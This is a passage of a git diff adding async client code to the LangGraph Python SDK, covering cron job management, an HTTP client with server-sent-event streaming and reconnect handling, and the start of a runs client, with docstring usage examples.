checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The cron run. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + cron_run = await client.crons.create_for_thread( + thread_id="my-thread-id", + assistant_id="agent", + schedule="27 15 * * *", + input={"messages": [{"role": "user", "content": "hello!"}]}, + metadata={"name":"my_run"}, + context={"model_name": "openai"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt", + enabled=True, + ) + ``` + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + + payload = { + "schedule": schedule, + "input": input, + "config": config, + "metadata": metadata, + "context": context, + "assistant_id": assistant_id, + "checkpoint_during": checkpoint_during, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "webhook": webhook, + "end_time": end_time.isoformat() if end_time else None, + "enabled": enabled, + "timezone": _resolve_timezone(timezone), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "durability": durability, + } + if multitask_strategy: + payload["multitask_strategy"] = multitask_strategy + payload = {k: v for k, v in payload.items() if v is not None} + return await self.http.post( + f"/threads/{_quote_path_param(thread_id)}/runs/crons", + json=payload, + headers=headers, + params=params, + ) + + async def create( + self, + assistant_id: str, + *, + schedule: str, + input: Input | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | list[str] | None = None, + interrupt_after: All | list[str] | None = None, + webhook: str | None = None, + on_run_completed: OnCompletionBehavior | None = None, + multitask_strategy: str | None = None, + end_time: datetime | None = None, + enabled: bool | None = None, + timezone: str | tzinfo | None = None, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + stream_subgraphs: bool | None = None, + stream_resumable: bool | None = None, + durability: Durability | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Run: + """Create a cron run. + + Args: + assistant_id: The assistant ID or graph name to use for the cron job. + If using graph name, will default to first assistant created from that graph. + schedule: The cron schedule to execute this job on. + Schedules are interpreted in UTC unless a timezone is specified. + input: The input to the graph. + metadata: Metadata to assign to the cron job runs. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + webhook: Webhook to call after LangGraph API call is done. + on_run_completed: What to do with the thread after the run completes. + Must be one of 'delete' (default) or 'keep'. 'delete' removes the thread + after execution. 'keep' creates a new thread for each execution but does not + clean them up. Clients are responsible for cleaning up kept threads. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely. + enabled: Whether the cron job is enabled or not. + timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``). + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether to persist the stream chunks in order to resume the stream later. + durability: Durability level for the run. Must be one of 'sync', 'async', or 'exit'. + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The cron run. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + cron_run = client.crons.create( + assistant_id="agent", + schedule="27 15 * * *", + input={"messages": [{"role": "user", "content": "hello!"}]}, + metadata={"name":"my_run"}, + context={"model_name": "openai"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt", + enabled=True, + ) + ``` + + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + + payload = { + "schedule": schedule, + "input": input, + "config": config, + "metadata": metadata, + "context": context, + "assistant_id": assistant_id, + "checkpoint_during": checkpoint_during, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "webhook": webhook, + "on_run_completed": on_run_completed, + "end_time": end_time.isoformat() if end_time else None, + "enabled": enabled, + "timezone": _resolve_timezone(timezone), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "durability": durability, + } + if multitask_strategy: + payload["multitask_strategy"] = multitask_strategy + payload = {k: v for k, v in payload.items() if v is not None} + return await self.http.post( + "/runs/crons", json=payload, headers=headers, params=params + ) + + async def delete( + self, + cron_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete a cron. + + Args: + cron_id: The cron ID to delete. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + await client.crons.delete( + cron_id="cron_to_delete" + ) + ``` + + """ + await self.http.delete( + f"/runs/crons/{_quote_path_param(cron_id)}", headers=headers, params=params + ) + + async def update( + self, + cron_id: str, + *, + schedule: str | None = None, + end_time: datetime | None = None, + input: Input | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + webhook: str | None = None, + interrupt_before: All | list[str] | None = None, + interrupt_after: All | list[str] | None = None, + on_run_completed: OnCompletionBehavior | None = None, + enabled: bool | None = None, + timezone: str | tzinfo | None = None, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + stream_subgraphs: bool | None = None, + stream_resumable: bool | None = None, + durability: Durability | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Cron: + """Update a cron job by ID. + + Args: + cron_id: The cron ID to update. + schedule: The cron schedule to execute this job on. + Schedules are interpreted in UTC unless a timezone is specified. + end_time: The end date to stop running the cron. + input: The input to the graph. + metadata: Metadata to assign to the cron job runs. + config: The configuration for the assistant. + context: Static context added to the assistant. + webhook: Webhook to call after LangGraph API call is done. + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to interrupt immediately after they get executed. + on_run_completed: What to do with the thread after the run completes. + Must be one of 'delete' or 'keep'. 'delete' removes the thread + after execution. 'keep' creates a new thread for each execution but does not + clean them up. + enabled: Enable or disable the cron job. + timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``). + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether to persist the stream chunks in order to resume the stream later. + durability: Durability level for the run. Must be one of 'sync', 'async', or 'exit'. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The updated cron job. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + updated_cron = await client.crons.update( + cron_id="1ef3cefa-4c09-6926-96d0-3dc97fd5e39b", + schedule="0 10 * * *", + enabled=False, + ) + ``` + + """ + payload = { + "schedule": schedule, + "end_time": end_time.isoformat() if end_time else None, + "input": input, + "metadata": metadata, + "config": config, + "context": context, + "webhook": webhook, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "on_run_completed": on_run_completed, + "enabled": enabled, + "timezone": _resolve_timezone(timezone), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "durability": durability, + } + payload = {k: v for k, v in payload.items() if v is not None} + return await self.http.patch( + f"/runs/crons/{_quote_path_param(cron_id)}", + json=payload, + headers=headers, + params=params, + ) + + async def search( + self, + *, + assistant_id: str | None = None, + thread_id: str | None = None, + enabled: bool | None = None, + metadata: Json = None, + limit: int = 10, + offset: int = 0, + sort_by: CronSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[CronSelectField] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[Cron]: + """Get a list of cron jobs. + + Args: + assistant_id: The assistant ID or graph name to search for. + thread_id: the thread ID to search for. + enabled: The enabled status to search for. + metadata: Metadata to filter by. Exact match filter for each KV pair. + !!! version-added "Added in Agent Server version 0.9.0" + limit: The maximum number of results to return. + offset: The number of results to skip. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The list of cron jobs returned by the search, + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + cron_jobs = await client.crons.search( + assistant_id="my_assistant_id", + thread_id="my_thread_id", + enabled=True, + limit=5, + offset=5, + ) + print(cron_jobs) + ``` + ```shell + + ---------------------------------------------------------- + + [ + { + 'cron_id': '1ef3cefa-4c09-6926-96d0-3dc97fd5e39b', + 'assistant_id': 'my_assistant_id', + 'thread_id': 'my_thread_id', + 'user_id': None, + 'payload': + { + 'input': {'start_time': ''}, + 'schedule': '4 * * * *', + 'assistant_id': 'my_assistant_id' + }, + 'schedule': '4 * * * *', + 'next_run_date': '2024-07-25T17:04:00+00:00', + 'end_time': None, + 'created_at': '2024-07-08T06:02:23.073257+00:00', + 'updated_at': '2024-07-08T06:02:23.073257+00:00' + } + ] + ``` + + """ + payload: dict[str, Any] = { + "assistant_id": assistant_id, + "thread_id": thread_id, + "enabled": enabled, + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + if sort_by: + payload["sort_by"] = sort_by + if sort_order: + payload["sort_order"] = sort_order + if select: + payload["select"] = select + payload = {k: v for k, v in payload.items() if v is not None} + return await self.http.post( + "/runs/crons/search", json=payload, headers=headers, params=params + ) + + async def count( + self, + *, + assistant_id: str | None = None, + thread_id: str | None = None, + metadata: Json = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> int: + """Count cron jobs matching filters. + + Args: + assistant_id: Assistant ID to filter by. + thread_id: Thread ID to filter by. + metadata: Metadata to filter by. Exact match filter for each KV pair. + !!! version-added "Added in Agent Server version 0.9.0" + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + int: Number of crons matching the criteria. + """ + payload: dict[str, Any] = {} + if assistant_id: + payload["assistant_id"] = assistant_id + if thread_id: + payload["thread_id"] = thread_id + if metadata: + payload["metadata"] = metadata + return await self.http.post( + "/runs/crons/count", json=payload, headers=headers, params=params + ) diff --git a/libs/sdk-py/langgraph_sdk/_async/http.py b/libs/sdk-py/langgraph_sdk/_async/http.py new file mode 100644 index 0000000..47c0f04 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/http.py @@ -0,0 +1,312 @@ +"""HTTP client for async operations.""" + +from __future__ import annotations + +import asyncio +import logging +import sys +import warnings +from collections.abc import AsyncIterator, Callable, Mapping +from typing import Any, cast + +import httpx +import orjson + +from langgraph_sdk._shared.utilities import ( + _orjson_default, + _validate_reconnect_location, +) +from langgraph_sdk.errors import _araise_for_status_typed +from langgraph_sdk.schema import QueryParamTypes, StreamPart +from langgraph_sdk.sse import SSEDecoder, aiter_lines_raw + +logger = logging.getLogger(__name__) + + +class HttpClient: + """Handle async requests to the LangGraph API. + + Adds additional error messaging & content handling above the + provided httpx client. + + Attributes: + client (httpx.AsyncClient): Underlying HTTPX async client. + """ + + def __init__(self, client: httpx.AsyncClient) -> None: + self.client = client + + async def get( + self, + path: str, + *, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `GET` request.""" + r = await self.client.get(path, params=params, headers=headers) + if on_response: + on_response(r) + await _araise_for_status_typed(r) + return await _adecode_json(r) + + async def post( + self, + path: str, + *, + json: dict[str, Any] | list | None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `POST` request.""" + if json is not None: + request_headers, content = await _aencode_json(json) + else: + request_headers, content = {}, b"" + # Merge headers, with runtime headers taking precedence + if headers: + request_headers.update(headers) + r = await self.client.post( + path, headers=request_headers, content=content, params=params + ) + if on_response: + on_response(r) + await _araise_for_status_typed(r) + return await _adecode_json(r) + + async def put( + self, + path: str, + *, + json: dict, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `PUT` request.""" + request_headers, content = await _aencode_json(json) + if headers: + request_headers.update(headers) + r = await self.client.put( + path, headers=request_headers, content=content, params=params + ) + if on_response: + on_response(r) + await _araise_for_status_typed(r) + return await _adecode_json(r) + + async def patch( + self, + path: str, + *, + json: dict, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `PATCH` request.""" + request_headers, content = await _aencode_json(json) + if headers: + request_headers.update(headers) + r = await self.client.patch( + path, headers=request_headers, content=content, params=params + ) + if on_response: + on_response(r) + await _araise_for_status_typed(r) + return await _adecode_json(r) + + async def delete( + self, + path: str, + *, + json: Any | None = None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> None: + """Send a `DELETE` request.""" + r = await self.client.request( + "DELETE", path, json=json, params=params, headers=headers + ) + if on_response: + on_response(r) + await _araise_for_status_typed(r) + + async def request_reconnect( + self, + path: str, + method: str, + *, + json: dict[str, Any] | None = None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + reconnect_limit: int = 5, + ) -> Any: + """Send a request that automatically reconnects to Location header.""" + request_headers, content = await _aencode_json(json) + if headers: + request_headers.update(headers) + async with self.client.stream( + method, path, headers=request_headers, content=content, params=params + ) as r: + if on_response: + on_response(r) + try: + r.raise_for_status() + except httpx.HTTPStatusError as e: + body = (await r.aread()).decode() + if sys.version_info >= (3, 11): + e.add_note(body) + else: + logger.error(f"Error from langgraph-api: {body}", exc_info=e) + raise e + loc = r.headers.get("location") + if reconnect_limit <= 0 or not loc: + return await _adecode_json(r) + _validate_reconnect_location(self.client.base_url, loc) + try: + return await _adecode_json(r) + except httpx.HTTPError: + warnings.warn( + f"Request failed, attempting reconnect to Location: {loc}", + stacklevel=2, + ) + await r.aclose() + return await self.request_reconnect( + loc, + "GET", + headers=request_headers, + # don't pass on_response so it's only called once + reconnect_limit=reconnect_limit - 1, + ) + + async def stream( + self, + path: str, + method: str, + *, + json: dict[str, Any] | None = None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> AsyncIterator[StreamPart]: + """Stream results using SSE.""" + request_headers, content = await _aencode_json(json) + request_headers["Accept"] = "text/event-stream" + request_headers["Cache-Control"] = "no-store" + # Add runtime headers with precedence + if headers: + request_headers.update(headers) + + reconnect_headers = { + key: value + for key, value in request_headers.items() + if key.lower() not in {"content-length", "content-type"} + } + + last_event_id: str | None = None + reconnect_path: str | None = None + reconnect_attempts = 0 + max_reconnect_attempts = 5 + + while True: + current_headers = dict( + request_headers if reconnect_path is None else reconnect_headers + ) + if last_event_id is not None: + current_headers["Last-Event-ID"] = last_event_id + + current_method = method if reconnect_path is None else "GET" + current_content = content if reconnect_path is None else None + current_params = params if reconnect_path is None else None + + retry = False + async with self.client.stream( + current_method, + reconnect_path or path, + headers=current_headers, + content=current_content, + params=current_params, + ) as res: + if reconnect_path is None and on_response: + on_response(res) + # check status + await _araise_for_status_typed(res) + # check content type + content_type = res.headers.get("content-type", "").partition(";")[0] + if "text/event-stream" not in content_type: + raise httpx.TransportError( + "Expected response header Content-Type to contain 'text/event-stream', " + f"got {content_type!r}" + ) + + reconnect_location = res.headers.get("location") + if reconnect_location: + _validate_reconnect_location( + self.client.base_url, reconnect_location + ) + reconnect_path = reconnect_location + + # parse SSE + decoder = SSEDecoder() + try: + async for line in aiter_lines_raw(res): + sse = decoder.decode(line=cast("bytes", line).rstrip(b"\n")) + if sse is not None: + if decoder.last_event_id is not None: + last_event_id = decoder.last_event_id + if sse.event or sse.data is not None: + yield sse + except httpx.HTTPError: + # httpx.TransportError inherits from HTTPError, so transient + # disconnects during streaming land here. + if reconnect_path is None: + raise + retry = True + else: + if sse := decoder.decode(b""): + if decoder.last_event_id is not None: + last_event_id = decoder.last_event_id + if sse.event or sse.data is not None: + # decoder.decode(b"") flushes the in-flight event and may + # return an empty placeholder when there is no pending + # message. Skip these no-op events so the stream doesn't + # emit a trailing blank item after reconnects. + yield sse + if retry: + reconnect_attempts += 1 + if reconnect_attempts > max_reconnect_attempts: + raise httpx.TransportError( + "Exceeded maximum SSE reconnection attempts" + ) + continue + break + + +async def _aencode_json(json: Any) -> tuple[dict[str, str], bytes | None]: + if json is None: + return {}, None + body = await asyncio.get_running_loop().run_in_executor( + None, + orjson.dumps, + json, + _orjson_default, + orjson.OPT_SERIALIZE_NUMPY | orjson.OPT_NON_STR_KEYS, + ) + content_length = str(len(body)) + content_type = "application/json" + headers = {"Content-Length": content_length, "Content-Type": content_type} + return headers, body + + +async def _adecode_json(r: httpx.Response) -> Any: + body = await r.aread() + return ( + await asyncio.get_running_loop().run_in_executor(None, orjson.loads, body) + if body + else None + ) diff --git a/libs/sdk-py/langgraph_sdk/_async/runs.py b/libs/sdk-py/langgraph_sdk/_async/runs.py new file mode 100644 index 0000000..76782b3 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/runs.py @@ -0,0 +1,1190 @@ +"""Async client for managing runs in LangGraph.""" + +from __future__ import annotations + +import builtins +import warnings +from collections.abc import AsyncIterator, Callable, Mapping, Sequence +from typing import Any, Literal, overload + +import httpx + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._shared.utilities import ( + _get_run_metadata_from_response, + _quote_path_param, + _sse_to_v2_dict, +) +from langgraph_sdk.schema import ( + All, + BulkCancelRunsStatus, + CancelAction, + Checkpoint, + Command, + Config, + Context, + DisconnectMode, + Durability, + IfNotExists, + Input, + LangSmithTracing, + MultitaskStrategy, + OnCompletionBehavior, + QueryParamTypes, + Run, + RunCreate, + RunCreateMetadata, + RunSelectField, + RunStatus, + StreamMode, + StreamPart, + StreamPartV2, + StreamVersion, +) + + +async def _wrap_stream_v2( + raw: AsyncIterator[StreamPart], +) -> AsyncIterator[StreamPartV2]: + """Wrap a raw SSE stream, converting each event to a v2 dict.""" + async for part in raw: + v2 = _sse_to_v2_dict(part.event, part.data) + if v2 is not None: + yield v2 # ty: ignore[invalid-yield] + + +class RunsClient: + """Client for managing runs in LangGraph. + + A run is a single assistant invocation with optional input, config, context, and metadata. + This client manages runs, which can be stateful (on threads) or stateless. + + ???+ example "Example" + + ```python + client = get_client(url="http://localhost:2024") + run = await client.runs.create(assistant_id="asst_123", thread_id="thread_456", input={"query": "Hello"}) + ``` + """ + + def __init__(self, http: HttpClient) -> None: + self.http = http + + @overload + def stream( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v1"] = "v1", + ) -> AsyncIterator[StreamPart]: ... + + @overload + def stream( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v2"], + ) -> AsyncIterator[StreamPartV2]: ... + + @overload + def stream( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + webhook: str | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v1"] = "v1", + ) -> AsyncIterator[StreamPart]: ... + + @overload + def stream( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + webhook: str | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v2"], + ) -> AsyncIterator[StreamPartV2]: ... + + def stream( + self, + thread_id: str | None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + durability: Durability | None = None, + version: StreamVersion = "v1", + ) -> AsyncIterator[StreamPart | StreamPartV2]: + """Create a run and stream the results. + + Args: + thread_id: the thread ID to assign to the thread. + If `None` will create a stateless run. + assistant_id: The assistant ID or graph name to stream from. + If using graph name, will default to first assistant created from that graph. + input: The input to the graph. + command: A command to execute. Cannot be combined with input. + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether the stream is considered resumable. + If true, the stream can be resumed and replayed in its entirety even after disconnection. + metadata: Metadata to assign to the run. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint: The checkpoint to resume from. + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + feedback_keys: Feedback keys to assign to run. + on_disconnect: The disconnect mode to use. + Must be one of 'cancel' or 'continue'. + on_completion: Whether to delete or keep the thread created for a stateless run. + Must be one of 'delete' or 'keep'. + webhook: Webhook to call after LangGraph API call is done. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + if_not_exists: How to handle missing thread. Defaults to 'reject'. + Must be either 'reject' (raise error if missing), or 'create' (create new thread). + after_seconds: The number of seconds to wait before starting the run. + Use to schedule future runs. + langsmith_tracing: LangSmith tracing configuration. Allows routing traces + to a specific project or associating with a dataset example. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + on_run_created: Callback when a run is created. + durability: The durability to use for the run. Values are "sync", "async", or "exit". + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + version: Stream format version. "v1" (default) returns raw SSE StreamPart + NamedTuples. "v2" returns typed dicts with `type`, `ns`, and `data` keys. + + Returns: + Asynchronous iterator of stream results. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024) + async for chunk in client.runs.stream( + thread_id=None, + assistant_id="agent", + input={"messages": [{"role": "user", "content": "how are you?"}]}, + stream_mode=["values","debug"], + metadata={"name":"my_run"}, + context={"model_name": "anthropic"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + feedback_keys=["my_feedback_key_1","my_feedback_key_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt" + ): + print(chunk) + ``` + + ```shell + + ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ + + StreamPart(event='metadata', data={'run_id': '1ef4a9b8-d7da-679a-a45a-872054341df2'}) + StreamPart(event='values', data={'messages': [{'content': 'how are you?', 'additional_kwargs': {}, 'response_metadata': {}, 'type': 'human', 'name': None, 'id': 'fe0a5778-cfe9-42ee-b807-0adaa1873c10', 'example': False}]}) + StreamPart(event='values', data={'messages': [{'content': 'how are you?', 'additional_kwargs': {}, 'response_metadata': {}, 'type': 'human', 'name': None, 'id': 'fe0a5778-cfe9-42ee-b807-0adaa1873c10', 'example': False}, {'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", 'additional_kwargs': {}, 'response_metadata': {}, 'type': 'ai', 'name': None, 'id': 'run-159b782c-b679-4830-83c6-cef87798fe8b', 'example': False, 'tool_calls': [], 'invalid_tool_calls': [], 'usage_metadata': None}]}) + StreamPart(event='end', data=None) + ``` + + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + + payload: dict[str, Any] = { + "input": input, + "command": ( + {k: v for k, v in command.items() if v is not None} if command else None + ), + "config": config, + "context": context, + "metadata": metadata, + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "feedback_keys": feedback_keys, + "webhook": webhook, + "checkpoint": checkpoint, + "checkpoint_id": checkpoint_id, + "checkpoint_during": checkpoint_during, + "multitask_strategy": multitask_strategy, + "if_not_exists": if_not_exists, + "on_disconnect": on_disconnect, + "on_completion": on_completion, + "after_seconds": after_seconds, + "durability": durability, + "langsmith_tracer": langsmith_tracing, + } + endpoint = ( + f"/threads/{_quote_path_param(thread_id)}/runs/stream" + if thread_id is not None + else "/runs/stream" + ) + + def on_response(res: httpx.Response): + """Callback function to handle the response.""" + if on_run_created and (metadata := _get_run_metadata_from_response(res)): + on_run_created(metadata) + + raw = self.http.stream( + endpoint, + "POST", + json={k: v for k, v in payload.items() if v is not None}, + params=params, + headers=headers, + on_response=on_response if on_run_created else None, + ) + if version == "v2": + return _wrap_stream_v2(raw) + return raw + + @overload + async def create( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + checkpoint_during: bool | None = None, + config: Config | None = None, + context: Context | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> Run: ... + + @overload + async def create( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + 